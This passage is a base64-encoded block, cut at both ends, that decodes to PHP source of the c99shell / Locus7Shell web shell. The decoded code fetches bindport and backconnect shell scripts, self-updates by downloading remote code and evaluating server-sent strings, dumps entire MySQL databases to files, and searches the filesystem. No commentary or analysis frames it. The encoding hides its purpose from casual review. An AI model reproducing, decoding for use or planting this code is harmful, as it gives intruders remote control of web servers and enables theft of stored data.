iLSI7fQplbHNlaWYgKCgkbW9kZSAmIDB4NjAwMCkgPT09IDB4NjAwMCkgeyR0eXBlID0gImIiO30KZWxzZWlmICgoJG1vZGUgJiAweDIwMDApID09PSAweDIwMDApIHskdHlwZSA9ICJjIjt9CmVsc2VpZiAoKCRtb2RlICYgMHgxMDAwKSA9PT0gMHgxMDAwKSB7JHR5cGUgPSAicCI7fQplbHNlIHskdHlwZSA9ICI/Ijt9Cgokb3duZXJbInJlYWQiXSA9ICgkbW9kZSAmIDAwNDAwKT8iciI6Ii0iOwokb3duZXJbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDIwMCk/InciOiItIjsKJG93bmVyWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAwMDEwMCk/IngiOiItIjsKJGdyb3VwWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDA0MCk/InIiOiItIjsKJGdyb3VwWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAwMjApPyJ3IjoiLSI7CiRncm91cFsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAwMTApPyJ4IjoiLSI7CiR3b3JsZFsicmVhZCJdID0gKCRtb2RlICYgMDAwMDQpPyJyIjoiLSI7CiR3b3JsZFsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMDAyKT8gInciOiItIjsKJHdvcmxkWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAwMDAwMSk/IngiOiItIjsKCmlmICgkbW9kZSAmIDB4ODAwKSB7JG93bmVyWyJleGVjdXRlIl0gPSAoJG93bmVyWyJleGVjdXRlIl0gPT0gIngiKT8icyI6IlMiO30KaWYgKCRtb2RlICYgMHg0MDApIHskZ3JvdXBbImV4ZWN1dGUiXSA9ICgkZ3JvdXBbImV4ZWN1dGUiXSA9PSAieCIpPyJzIjoiUyI7fQppZiAoJG1vZGUgJiAweDIwMCkgeyR3b3JsZFsiZXhlY3V0ZSJdID0gKCR3b3JsZFsiZXhlY3V0ZSJdID09ICJ4Iik/InQiOiJUIjt9CgpyZXR1cm4gJHR5cGUuam9pbigiIiwkb3duZXIpLmpvaW4oIiIsJGdyb3VwKS5qb2luKCIiLCR3b3JsZCk7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSBhbmQgIWluX2FycmF5KCJwb3NpeF9nZXRwd3VpZCIsJGRpc2FibGVmdW5jKSkge2Z1bmN0aW9uIHBvc2l4X2dldHB3dWlkKCR1aWQpIHtyZXR1cm4gRkFMU0U7fX0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikgYW5kICFpbl9hcnJheSgicG9zaXhfZ2V0Z3JnaWQiLCRkaXNhYmxlZnVuYykpIHtmdW5jdGlvbiBwb3NpeF9nZXRncmdpZCgkZ2lkKSB7cmV0dXJuIEZBTFNFO319CmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9raWxsIikgYW5kICFpbl9hcnJheSgicG9zaXhfa2lsbCIsJGRpc2FibGVmdW5jKSkge2Z1bmN0aW9uIHBvc2l4X2tpbGwoJGdpZCkge3JldHVybiBGQUxTRTt9fQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicGFyc2VfcGVybXMiKSkKewpmdW5jdGlvbiBwYXJzZV9wZXJtcygkbW9kZSkKewppZiAoKCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7JHQgPSAicyI7fQplbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgeyR0ID0gImQiO30KZWxzZWlmICgoJG1vZGUgJiAweEEwMDApID09PSAweEEwMDApIHskdCA9ICJsIjt9CmVsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7JHQgPSAiLSI7fQplbHNlaWYgKCgkbW9kZSAmIDB4NjAwMCkgPT09IDB4NjAwMCkgeyR0ID0gImIiO30KZWxzZWlmICgoJG1vZGUgJiAweDIwMDApID09PSAweDIwMDApIHskdCA9ICJjIjt9CmVsc2VpZiAoKCRtb2RlICYgMHgxMDAwKSA9PT0gMHgxMDAwKSB7JHQgPSAicCI7fQplbHNlIHskdCA9ICI/Ijt9CiRvWyJyIl0gPSAoJG1vZGUgJiAwMDQwMCkgPiAwOyAkb1sidyJdID0gKCRtb2RlICYgMDAyMDApID4gMDsgJG9bIngiXSA9ICgkbW9kZSAmIDAwMTAwKSA+IDA7CiRnWyJyIl0gPSAoJG1vZGUgJiAwMDA0MCkgPiAwOyAkZ1sidyJdID0gKCRtb2RlICYgMDAwMjApID4gMDsgJGdbIngiXSA9ICgkbW9kZSAmIDAwMDEwKSA+IDA7CiR3WyJyIl0gPSAoJG1vZGUgJiAwMDAwNCkgPiAwOyAkd1sidyJdID0gKCRtb2RlICYgMDAwMDIpID4gMDsgJHdbIngiXSA9ICgkbW9kZSAmIDAwMDAxKSA+IDA7CnJldHVybiBhcnJheSgidCI9PiR0LCJvIj0+JG8sImciPT4kZywidyI9PiR3KTsKfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJwYXJzZXNvcnQiKSkKewpmdW5jdGlvbiBwYXJzZXNvcnQoJHNvcnQpCnsKJG9uZSA9IGludHZhbCgkc29ydCk7CiRzZWNvbmQgPSBzdWJzdHIoJHNvcnQsLTEpOwppZiAoJHNlY29uZCAhPSAiZCIpIHskc2Vjb25kID0gImEiO30KcmV0dXJuIGFycmF5KCRvbmUsJHNlY29uZCk7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygidmlld19wZXJtc19jb2xvciIpKQp7CmZ1bmN0aW9uIHZpZXdfcGVybXNfY29sb3IoJG8pCnsKaWYgKCFpc19yZWFkYWJsZSgkbykpIHtyZXR1cm4gIjxmb250IGNvbG9yPXJlZD4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRvKSkuIjwvZm9udD4iO30KZWxzZWlmICghaXNfd3JpdGFibGUoJG8pKSB7cmV0dXJuICI8Zm9udCBjb2xvcj13aGl0ZT4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRvKSkuIjwvZm9udD4iO30KZWxzZSB7cmV0dXJuICI8Zm9udCBjb2xvcj1ncmVlbj4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRvKSkuIjwvZm9udD4iO30KfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTlnZXRzb3VyY2UiKSkKewpmdW5jdGlvbiBjOTlnZXRzb3VyY2UoJGZuKQp7Cmdsb2JhbCAkYzk5c2hfc291cmNlc3VybDsKJGFycmF5ID0gYXJyYXkoCiAgImM5OXNoX2JpbmRwb3J0LnBsIiA9PiAiYzk5c2hfYmluZHBvcnRfcGwudHh0IiwKICAiYzk5c2hfYmluZHBvcnQuYyIgPT4gImM5OXNoX2JpbmRwb3J0X2MudHh0IiwKICAiYzk5c2hfYmFja2Nvbm4ucGwiID0+ICJjOTlzaF9iYWNrY29ubl9wbC50eHQiLAogICJjOTlzaF9iYWNrY29ubi5jIiA9PiAiYzk5c2hfYmFja2Nvbm5fYy50eHQiLAogICJjOTlzaF9kYXRhcGlwZS5wbCIgPT4gImM5OXNoX2RhdGFwaXBlX3BsLnR4dCIsCiAgImM5OXNoX2RhdGFwaXBlLmMiID0+ICJjOTlzaF9kYXRhcGlwZV9jLnR4dCIsCik7CiRuYW1lID0gJGFycmF5WyRmbl07CmlmICgkbmFtZSkge3JldHVybiBmaWxlX2dldF9jb250ZW50cygkYzk5c2hfc291cmNlc3VybC4kbmFtZSk7fQplbHNlIHtyZXR1cm4gRkFMU0U7fQp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImM5OXNoX2dldHVwZGF0ZSIpKQp7CmZ1bmN0aW9uIGM5OXNoX2dldHVwZGF0ZSgkdXBkYXRlID0gVFJVRSkKewokdXJsID0gJEdMT0JBTFNbImM5OXNoX3VwZGF0ZXVybCJdLiI/dmVyc2lvbj0iLnVybGVuY29kZShiYXNlNjRfZW5jb2RlKCRHTE9CQUxTWyJzaHZlciJdKSkuIiZ1cGRhdGVub3c9Ii4oJHVwZGF0ZW5vdz8iMSI6IjAiKS4iJiI7CiRkYXRhID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwpOwppZiAoISRkYXRhKSB7cmV0dXJuICJDYW4ndCBjb25uZWN0IHRvIHVwZGF0ZS1zZXJ2ZXIhIjt9CmVsc2UKewogICRkYXRhID0gbHRyaW0oJGRhdGEpOwogICRzdHJpbmcgPSBzdWJzdHIoJGRhdGEsMyxvcmQoJGRhdGF7Mn0pKTsKICBpZiAoJGRhdGF7MH0gPT0gIlx4OTkiIGFuZCAkZGF0YXsxfSA9PSAiXHgwMSIpIHtyZXR1cm4gIkVycm9yOiAiLiRzdHJpbmc7IHJldHVybiBGQUxTRTt9CiAgaWYgKCRkYXRhezB9ID09ICJceDk5IiBhbmQgJGRhdGF7MX0gPT0gIlx4MDIiKSB7cmV0dXJuICJZb3UgYXJlIHVzaW5nIGxhdGVzdCB2ZXJzaW9uISI7fQogIGlmICgkZGF0YXswfSA9PSAiXHg5OSIgYW5kICRkYXRhezF9ID09ICJceDAzIikKICB7CiAgICRzdHJpbmcgPSBleHBsb2RlKCJceDAxIiwkc3RyaW5nKTsKICAgaWYgKCR1cGRhdGUpCiAgIHsKICAgICRjb25mdmFycyA9IGFycmF5KCk7CiAgICAkc291cmNldXJsID0gJHN0cmluZ1swXTsKICAgICRzb3VyY2UgPSBmaWxlX2dldF9jb250ZW50cygkc291cmNldXJsKTsKICAgIGlmICghJHNvdXJjZSkge3JldHVybiAiQ2FuJ3QgZmV0Y2ggdXBkYXRlISI7fQogICAgZWxzZQogICAgewogICAgICRmcCA9IGZvcGVuKF9fRklMRV9fLCJ3Iik7CiAgICAgaWYgKCEkZnApIHtyZXR1cm4gIkxvY2FsIGVycm9yOiBjYW4ndCB3cml0ZSB1cGRhdGUgdG8gIi5fX0ZJTEVfXy4iISBZb3UgbWF5IGRvd25sb2FkIGM5OXNoZWxsLnBocCBtYW51YWxseSA8YSBocmVmPVwiIi4kc291cmNldXJsLiJcIj48dT5oZXJlPC91PjwvYT4uIjt9CiAgICAgZWxzZSB7ZndyaXRlKCRmcCwkc291cmNlKTsgZmNsb3NlKCRmcCk7IHJldHVybiAiVGhhbmtzISBVcGRhdGVkIHdpdGggc3VjY2Vzcy4iO30KICAgIH0KICAgfQogICBlbHNlIHtyZXR1cm4gIk5ldyB2ZXJzaW9uIGFyZSBhdmFpbGFibGU6ICIuJHN0cmluZ1sxXTt9CiAgfQogIGVsc2VpZiAoJGRhdGF7MH0gPT0gIlx4OTkiIGFuZCAkZGF0YXsxfSA9PSAiXHgwNCIpIHtldmFsKCRzdHJpbmcpOyByZXR1cm4gMTt9CiAgZWxzZSB7cmV0dXJuICJFcnJvciBpbiBwcm90b2NvbDogc2VnbWVudGF0aW9uIGZhaWxlZCEgKCIuJGRhdGEuIikgIjt9Cn0KfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9kdW1wIikpCnsKZnVuY3Rpb24gbXlzcWxfZHVtcCgkc2V0KQp7Cmdsb2JhbCAkc2h2ZXI7CiRzb2NrID0gJHNldFsic29jayJdOwokZGIgPSAkc2V0WyJkYiJdOwokcHJpbnQgPSAkc2V0WyJwcmludCJdOwokbmwyYnIgPSAkc2V0WyJubDJiciJdOwokZmlsZSA9ICRzZXRbImZpbGUiXTsKJGFkZF9kcm9wID0gJHNldFsiYWRkX2Ryb3AiXTsKJHRhYnMgPSAkc2V0WyJ0YWJzIl07CiRvbmx5dGFicyA9ICRzZXRbIm9ubHl0YWJzIl07CiRyZXQgPSBhcnJheSgpOwokcmV0WyJlcnIiXSA9IGFycmF5KCk7CmlmICghaXNfcmVzb3VyY2UoJHNvY2spKSB7ZWNobygiRXJyb3I6IFwkc29jayBpcyBub3QgdmFsaWQgcmVzb3VyY2UuIik7fQppZiAoZW1wdHkoJGRiKSkgeyRkYiA9ICJkYiI7fQppZiAoZW1wdHkoJHByaW50KSkgeyRwcmludCA9IDA7fQppZiAoZW1wdHkoJG5sMmJyKSkgeyRubDJiciA9IDA7fQppZiAoZW1wdHkoJGFkZF9kcm9wKSkgeyRhZGRfZHJvcCA9IFRSVUU7fQppZiAoZW1wdHkoJGZpbGUpKQp7CiAgJGZpbGUgPSAkdG1wZGlyLiJkdW1wXyIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiJfIi4kZGIuIl8iLmRhdGUoImQtbS1ZLUgtaS1zIikuIi5zcWwiOwp9CmlmICghaXNfYXJyYXkoJHRhYnMpKSB7JHRhYnMgPSBhcnJheSgpO30KaWYgKGVtcHR5KCRhZGRfZHJvcCkpIHskYWRkX2Ryb3AgPSBUUlVFO30KaWYgKHNpemVvZigkdGFicykgPT0gMCkKewogIC8vIHJldHJpdmUgdGFibGVzLWxpc3QKICAkcmVzID0gbXlzcWxfcXVlcnkoIlNIT1cgVEFCTEVTIEZST00gIi4kZGIsICRzb2NrKTsKICBpZiAobXlzcWxfbnVtX3Jvd3MoJHJlcykgPiAwKSB7d2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlcykpIHskdGFic1tdID0gJHJvd1swXTt9fQp9CiRvdXQgPSAiIyBEdW1wZWQgYnkgTG9jb3VzN1NoZWxsLlNRTCB2LiAiLiRzaHZlci4iCiMgSG9tZSBwYWdlOiBodHRwOi8vd3d3LkxvY3VzN3MuY29tCiMKIyBIb3N0IHNldHRpbmdzOgojIE15U1FMIHZlcnNpb246ICgiLm15c3FsX2dldF9zZXJ2ZXJfaW5mbygpLiIpIHJ1bm5pbmcgb24gIi5nZXRlbnYoIlNFUlZFUl9BRERSIikuIiAoIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIikiLiIKIyBEYXRlOiAiLmRhdGUoImQubS5ZIEg6aTpzIikuIgojIERCOiBcIiIuJGRiLiJcIgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiI7CiRjID0gY291bnQoJG9ubHl0YWJzKTsKZm9yZWFjaCgkdGFicyBhcyAkdGFiKQp7CiAgaWYgKChpbl9hcnJheSgkdGFiLCRvbmx5dGFicykpIG9yICghJGMpKQogIHsKICAgaWYgKCRhZGRfZHJvcCkgeyRvdXQgLj0gIkRST1AgVEFCTEUgSUYgRVhJU1RTIGAiLiR0YWIuImA7XG4iO30KICAgLy8gcmVjaWV2ZSBxdWVyeSBmb3IgY3JlYXRlIHRhYmxlIHN0cnVjdHVyZQogICAkcmVzID0gbXlzcWxfcXVlcnkoIlNIT1cgQ1JFQVRFIFRBQkxFIGAiLiR0YWIuImAiLCAkc29jayk7CiAgIGlmICghJHJlcykgeyRyZXRbImVyciJdW10gPSBteXNxbF9zbWFydGVycm9yKCk7fQogICBlbHNlCiAgIHsKICAgICRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlcyk7CiAgICAkb3V0IC49ICRyb3dbIjEiXS4iO1xuXG4iOwogICAgLy8gcmVjaWV2ZSB0YWJsZSB2YXJpYWJsZXMKICAgICRyZXMgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSBgJHRhYmAiLCAkc29jayk7CiAgICBpZiAobXlzcWxfbnVtX3Jvd3MoJHJlcykgPiAwKQogICAgewogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHJlcykpCiAgICAgewogICAgICAka2V5cyA9IGltcGxvZGUoImAsIGAiLCBhcnJheV9rZXlzKCRyb3cpKTsKICAgICAgJHZhbHVlcyA9IGFycmF5X3ZhbHVlcygkcm93KTsKICAgICAgZm9yZWFjaCgkdmFsdWVzIGFzICRrPT4kdikgeyR2YWx1ZXNbJGtdID0gYWRkc2xhc2hlcygkdik7fQogICAgICAkdmFsdWVzID0gaW1wbG9kZSgiJywgJyIsICR2YWx1ZXMpOwogICAgICAkc3FsID0gIklOU0VSVCBJTlRPIGAkdGFiYChgIi4ka2V5cy4iYCkgVkFMVUVTICgnIi4kdmFsdWVzLiInKTtcbiI7CiAgICAgICRvdXQgLj0gJHNxbDsKICAgICB9CiAgICB9CiAgIH0KICB9Cn0KJG91dCAuPSAiIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuXG4iOwppZiAoJGZpbGUpCnsKICAkZnAgPSBmb3BlbigkZmlsZSwgInciKTsKICBpZiAoISRmcCkgeyRyZXRbImVyciJdW10gPSAyO30KICBlbHNlCiAgewogICBmd3JpdGUgKCRmcCwgJG91dCk7CiAgIGZjbG9zZSAoJGZwKTsKICB9Cn0KaWYgKCRwcmludCkge2lmICgkbmwyYnIpIHtlY2hvIG5sMmJyKCRvdXQpO30gZWxzZSB7ZWNobyAkb3V0O319CnJldHVybiAkb3V0Owp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2J1aWxkd2hlcmUiKSkKewpmdW5jdGlvbiBteXNxbF9idWlsZHdoZXJlKCRhcnJheSwkc2VwPSIgYW5kIiwkZnVuY3RzPWFycmF5KCkpCnsKaWYgKCFpc19hcnJheSgkYXJyYXkpKSB7JGFycmF5ID0gYXJyYXkoKTt9CiRyZXN1bHQgPSAiIjsKZm9yZWFjaCgkYXJyYXkgYXMgJGs9PiR2KQp7CiAgJHZhbHVlID0gIiI7CiAgaWYgKCFlbXB0eSgkZnVuY3RzWyRrXSkpIHskdmFsdWUgLj0gJGZ1bmN0c1ska10uIigiO30KICAkdmFsdWUgLj0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsKICBpZiAoIWVtcHR5KCRmdW5jdHNbJGtdKSkgeyR2YWx1ZSAuPSAiKSI7fQogICRyZXN1bHQgLj0gImAiLiRrLiJgID0gIi4kdmFsdWUuJHNlcDsKfQokcmVzdWx0ID0gc3Vic3RyKCRyZXN1bHQsMCxzdHJsZW4oJHJlc3VsdCktc3RybGVuKCRzZXApKTsKcmV0dXJuICRyZXN1bHQ7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfZmV0Y2hfYWxsIikpCnsKZnVuY3Rpb24gbXlzcWxfZmV0Y2hfYWxsKCRxdWVyeSwkc29jaykKewppZiAoJHNvY2spIHskcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCRzb2NrKTt9CmVsc2UgeyRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnkpO30KJGFycmF5ID0gYXJyYXkoKTsKd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgeyRhcnJheVtdID0gJHJvdzt9Cm15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOwpyZXR1cm4gJGFycmF5Owp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX3NtYXJ0ZXJyb3IiKSkKewpmdW5jdGlvbiBteXNxbF9zbWFydGVycm9yKCR0eXBlLCRzb2NrKQp7CmlmICgkc29jaykgeyRlcnJvciA9IG15c3FsX2Vycm9yKCRzb2NrKTt9CmVsc2UgeyRlcnJvciA9IG15c3FsX2Vycm9yKCk7fQokZXJyb3IgPSBodG1sc3BlY2lhbGNoYXJzKCRlcnJvcik7CnJldHVybiAkZXJyb3I7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfcXVlcnlfZm9ybSIpKQp7CmZ1bmN0aW9uIG15c3FsX3F1ZXJ5X2Zvcm0oKQp7Cmdsb2JhbCAkc3VibWl0LCRzcWxfYWN0LCRzcWxfcXVlcnksJHNxbF9xdWVyeV9yZXN1bHQsJHNxbF9jb25maXJtLCRzcWxfcXVlcnlfZXJyb3IsJHRibF9zdHJ1Y3Q7CmlmICgoJHN1Ym1pdCkgYW5kICghJHNxbF9xdWVyeV9yZXN1bHQpIGFuZCAoJHNxbF9jb25maXJtKSkge2lmICghJHNxbF9xdWVyeV9lcnJvcikgeyRzcWxfcXVlcnlfZXJyb3IgPSAiUXVlcnkgd2FzIGVtcHR5Ijt9IGVjaG8gIjxiPkVycm9yOjwvYj4gPGJyPiIuJHNxbF9xdWVyeV9lcnJvci4iPGJyPiI7fQppZiAoJHNxbF9xdWVyeV9yZXN1bHQgb3IgKCEkc3FsX2NvbmZpcm0pKSB7JHNxbF9hY3QgPSAkc3FsX2dvdG87fQppZiAoKCEkc3VibWl0KSBvciAoJHNxbF9hY3QpKQp7CiAgZWNobyAiPHRhYmxlIGJvcmRlcj0wPjx0cj48dGQ+PGZvcm0gbmFtZT1cImM5OXNoX3NxbHF1ZXJ5XCIgbWV0aG9kPVBPU1Q+PGI+IjsgaWYgKCgkc3FsX3F1ZXJ5KSBhbmQgKCEkc3VibWl0KSkge2VjaG8gIkRvIHlvdSByZWFsbHkgd2FudCB0byI7fSBlbHNlIHtlY2hvICJTUUwtUXVlcnkiO30gZWNobyAiOjwvYj48YnI+PGJyPjx0ZXh0YXJlYSBuYW1lPXNxbF9xdWVyeSBjb2xzPTEwMCByb3dzPTEwPiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5KS4iPC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1zcWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9c3FsX2FjdCB2YWx1ZT1xdWVyeT48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zcWxfdGJsIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9c3VibWl0IHZhbHVlPVwiMVwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwic3FsX2dvdG9cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2dvdG8pLiJcIj48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zcWxfY29uZmlybSB2YWx1ZT1cIlllc1wiPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIk5vXCI+PC9mb3JtPjwvdGQ+IjsKICBpZiAoJHRibF9zdHJ1Y3QpCiAgewogICBlY2hvICI8dGQgdmFsaWduPVwidG9wXCI+PGI+RmllbGRzOjwvYj48YnI+IjsKICAgZm9yZWFjaCAoJHRibF9zdHJ1Y3QgYXMgJGZpZWxkKSB7JG5hbWUgPSAkZmllbGRbIkZpZWxkIl07IGVjaG8gIisgPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQuYzk5c2hfc3FscXVlcnkuc3FsX3F1ZXJ5LnZhbHVlKz0nYCIuJG5hbWUuImAnO1wiPjxiPiIuJG5hbWUuIjwvYj48L2E+PGJyPiI7fQogICBlY2hvICI8L3RkPjwvdHI+PC90YWJsZT4iOwogIH0KfQppZiAoJHNxbF9xdWVyeV9yZXN1bHQgb3IgKCEkc3FsX2NvbmZpcm0pKSB7JHNxbF9xdWVyeSA9ICRzcWxfbGFzdF9xdWVyeTt9Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfY3JlYXRlX2RiIikpCnsKZnVuY3Rpb24gbXlzcWxfY3JlYXRlX2RiKCRkYiwkc29jaz0iIikKewokc3FsID0gIkNSRUFURSBEQVRBQkFTRSBgIi5hZGRzbGFzaGVzKCRkYikuImA7IjsKaWYgKCRzb2NrKSB7cmV0dXJuIG15c3FsX3F1ZXJ5KCRzcWwsJHNvY2spO30KZWxzZSB7cmV0dXJuIG15c3FsX3F1ZXJ5KCRzcWwpO30KfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9xdWVyeV9wYXJzZSIpKQp7CmZ1bmN0aW9uIG15c3FsX3F1ZXJ5X3BhcnNlKCRxdWVyeSkKewokcXVlcnkgPSB0cmltKCRxdWVyeSk7CiRhcnIgPSBleHBsb2RlICgiICIsJHF1ZXJ5KTsKLyphcnJheSBhcnJheSgpCnsKICAiTUVUSE9EIj0+YXJyYXkob3V0cHV0X3R5cGUpLAogICJNRVRIT0QxIi4uLgogIC4uLgp9CmlmIG91dHB1dF90eXBlID09IDAsIG5vIG91dHB1dCwKaWYgb3V0cHV0X3R5cGUgPT0gMSwgbm8gb3V0cHV0IGlmIG5vIGVycm9yCmlmIG91dHB1dF90eXBlID09IDIsIG91dHB1dCB3aXRob3V0IGNvbnRyb2wtYnV0dG9ucwppZiBvdXRwdXRfdHlwZSA9PSAzLCBvdXRwdXQgd2l0aCBjb250cm9sLWJ1dHRvbnMKKi8KJHR5cGVzID0gYXJyYXkoCiAgIlNFTEVDVCI9PmFycmF5KDMsMSksCiAgIlNIT1ciPT5hcnJheSgyLDEpLAogICJERUxFVEUiPT5hcnJheSgxKSwKICAiRFJPUCI9PmFycmF5KDEpCik7CiRyZXN1bHQgPSBhcnJheSgpOwokb3AgPSBzdHJ0b3VwcGVyKCRhcnJbMF0pOwppZiAoaXNfYXJyYXkoJHR5cGVzWyRvcF0pKQp7CiAgJHJlc3VsdFsicHJvcGVydGlvbnMiXSA9ICR0eXBlc1skb3BdOwogICRyZXN1bHRbInF1ZXJ5Il0gID0gJHF1ZXJ5OwogIGlmICgkdHlwZXNbJG9wXSA9PSAyKQogIHsKICAgZm9yZWFjaCgkYXJyIGFzICRrPT4kdikKICAgewogICAgaWYgKHN0cnRvdXBwZXIoJHYpID09ICJMSU1JVCIpCiAgICB7CiAgICAgJHJlc3VsdFsibGltaXQiXSA9ICRhcnJbJGsrMV07CiAgICAgJHJlc3VsdFsibGltaXQiXSA9IGV4cGxvZGUoIiwiLCRyZXN1bHRbImxpbWl0Il0pOwogICAgIGlmIChjb3VudCgkcmVzdWx0WyJsaW1pdCJdKSA9PSAxKSB7JHJlc3VsdFsibGltaXQiXSA9IGFycmF5KDAsJHJlc3VsdFsibGltaXQiXVswXSk7fQogICAgIHVuc2V0KCRhcnJbJGtdLCRhcnJbJGsrMV0pOwogICAgfQogICB9CiAgfQp9CmVsc2Uge3JldHVybiBGQUxTRTt9Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiYzk5ZnNlYXJjaCIpKQp7CmZ1bmN0aW9uIGM5OWZzZWFyY2goJGQpCnsKZ2xvYmFsICRmb3VuZDsKZ2xvYmFsICRmb3VuZF9kOwpnbG9iYWwgJGZvdW5kX2Y7Cmdsb2JhbCAkc2VhcmNoX2lfZjsKZ2xvYmFsICRzZWFyY2hfaV9kOwpnbG9iYWwgJGE7CmlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30KJGggPSBvcGVuZGlyKCRkKTsKd2hpbGUgKCgkZiA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpCnsKICBpZigkZiAhPSAiLiIgJiYgJGYgIT0gIi4uIikKICB7CiAgICRib29sID0gKGVtcHR5KCRhWyJuYW1lX3JlZ2V4cCJdKSBhbmQgc3RycG9zKCRmLCRhWyJuYW1lIl0pICE9PSBGQUxTRSkgfHwgKCRhWyJuYW1lX3JlZ2V4cCJdIGFuZCBlcmVnKCRhWyJuYW1lIl0sJGYpKTsKICAgaWYgKGlzX2RpcigkZC4kZikpCiAgIHsKICAgICRzZWFyY2hfaV9kKys7CiAgICBpZiAoZW1wdHkoJGFbInRleHQiXSkgYW5kICRib29sKSB7JGZvdW5kW10gPSAkZC4kZjsgJGZvdW5kX2QrKzt9CiAgICBpZiAoIWlzX2xpbmsoJGQuJGYpKSB7Yzk5ZnNlYXJjaCgkZC4kZik7fQogICB9CiAgIGVsc2UKICAgewogICAgJHNlYXJjaF9pX2YrKzsKICAgIGlmICgkYm9vbCkKICAgIHsKICAgICBpZiAoIWVtcHR5KCRhWyJ0ZXh0Il0pKQogICAgIHsKICAgICAgJHIgPSBAZmlsZV9nZXRfY29udGVudHMoJGQuJGYpOwogICAgICBpZiAoJGFbInRleHRfd3dvIl0pIHskYVsidGV4dCJdID0gIiAiLnRyaW0oJGFbInRleHQiXSkuIiAiO30KICAgICAgaWYgKCEkYVsidGV4dF9jcyJdKSB7JGFbInRleHQiXSA9IHN0cnRvbG93ZXIoJGFbInRleHQiXSk7ICRyID0gc3RydG9sb3dlcigkcik7fQogICAgICBpZiAoJGFbInRleHRfcmVnZXhwIl0pIHskYm9vbCA9IGVyZWcoJGFbInRleHQiXSwkcik7fQogICAgICBlbHNlIHskYm9vbCA9IHN0cnBvcygiICIuJHIsJGFbInRleHQiXSwxKTt9CiAgICAgIGlmICgkYVsidGV4dF9ub3QiXSkgeyRib29sID0gISRib29sO30KICAgICAgaWYgKCRib29sKSB7JGZvdW5kW10gPSAkZC4kZjsgJGZvdW5kX2YrKzt9CiAgICAgfQogICAgIGVsc2UgeyRmb3VuZFtdID0gJGQuJGY7ICRmb3VuZF9mKys7fQogICAgfQogICB9CiAgfQp9CmNsb3NlZGlyKCRoKTsKfQp9CmlmICgkYWN0ID09ICJnb2ZpbGUiKSB7aWYgKGlzX2RpcigkZikpIHskYWN0ID0gImxzIjsgJGQgPSAkZjt9IGVsc2UgeyRhY3QgPSAiZiI7ICRkID0gZGlybmFtZSgkZik7ICRmID0gYmFzZW5hbWUoJGYpO319Ci8vU2VuZGluZyBoZWFkZXJzCkBvYl9zdGFydCgpOwpAb2JfaW1wbGljaXRfZmx1c2goMCk7CmZ1bmN0aW9uIG9ucGhwc2h1dGRvd24oK